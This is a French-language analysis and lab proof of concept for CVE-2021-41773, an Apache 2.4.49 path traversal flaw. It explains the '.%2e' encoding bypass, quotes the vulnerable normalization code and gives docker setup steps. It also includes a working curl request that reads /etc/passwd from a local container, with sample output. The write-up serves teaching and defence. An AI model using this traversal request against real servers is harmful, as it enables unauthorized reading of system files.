
PoC and analysis of CVE-2021-41773
CVE-2021-41773 est une vulnérabilité de traversée de chemin affectant Apache HTTP Server 2.4.49.
La vulnérabilité permet à un attaquant d'accéder à des fichiers en dehors du répertoire prévu dans certaines configurations, notamment lorsque des répertoires sont exposés via Alias, ScriptAlias ou d'autres directives de type Alias.
La vulnérabilité existe en raison d'une gestion incorrecte de la normalisation et de la canonicalisation des chemins d'URL. Apache effectuait des contrôles de sécurité sur une représentation du chemin qui pouvait encore contenir des caractères encodés, permettant aux attaquants de contourner la détection de traversée à l'aide de séquences de points encodées.
Un attaquant peut élaborer une URL malveillante contenant des séquences de traversée encodées telles que :
.%2e
où :
%2e = .
Par conséquent :
.%2e
devient :
..
après décodage.
Si Apache valide la représentation encodée avant de la résoudre sous sa forme canonique, le contrôle de traversée peut être contourné.
Une exploitation réussie peut permettre à un attaquant de lire des fichiers arbitraires du système de fichiers.
Exemple de cible :
/etc/passwd
La logique vulnérable se trouve dans :
server/util.c
dans :
ap_normalize_path()
Code vulnérable d'Apache 2.4.49 :
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
Le code vulnérable tente d'identifier les motifs de traversée de répertoire :
../
en vérifiant la présence de points consécutifs :
path[l + 1] == '.'
Cependant, un attaquant peut fournir une séquence de traversée encodée :
/.%2e/
Au moment du contrôle de normalisation, Apache traite :
.%2e
au lieu de :
..
Car :
%2e != .
la logique de détection de traversée ne reconnaît pas la séquence comme :
../
Le chemin est ensuite interprété sous sa forme décodée, ce qui permet à la traversée de se produire.
Le comportement vulnérable peut être représenté comme suit :
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
La décision de sécurité est prise avant que le chemin n'atteigne sa représentation canonique finale.
Une approche plus sûre consiste à :
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
Les contrôles de sécurité doivent toujours être effectués sur la représentation normalisée finale.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Envoyez une requête contenant une séquence de traversée encodée :
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Une exploitation réussie renvoie le contenu de :
/etc/passwd
Exemple :
root:x:0:0:root:/root:/bin/bash
Une réponse 403 Forbidden ne signifie pas nécessairement que l'exploitation a échoué.
Lors des tests, Apache peut normaliser avec succès :
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
en :
/etc/passwd
mais refuser l'accès en raison des permissions du système de fichiers ou des règles d'autorisation d'Apache.
Exemple :
client denied by server configuration: /etc/passwd
Cela indique que la traversée a bien eu lieu, mais que le contrôle d'accès a empêché la divulgation du fichier.
CVE-2021-41773 est un exemple classique de vulnérabilité de canonicalisation.
Une entrée contrôlée par l'utilisateur peut avoir plusieurs représentations :
.%2e
et :
..
Bien qu'elles semblent différentes, elles représentent la même composante de chemin.
Les contrôles de sécurité doivent toujours être effectués après le décodage et la normalisation. Valider une représentation encodée ou ambiguë peut entraîner des contournements de sécurité.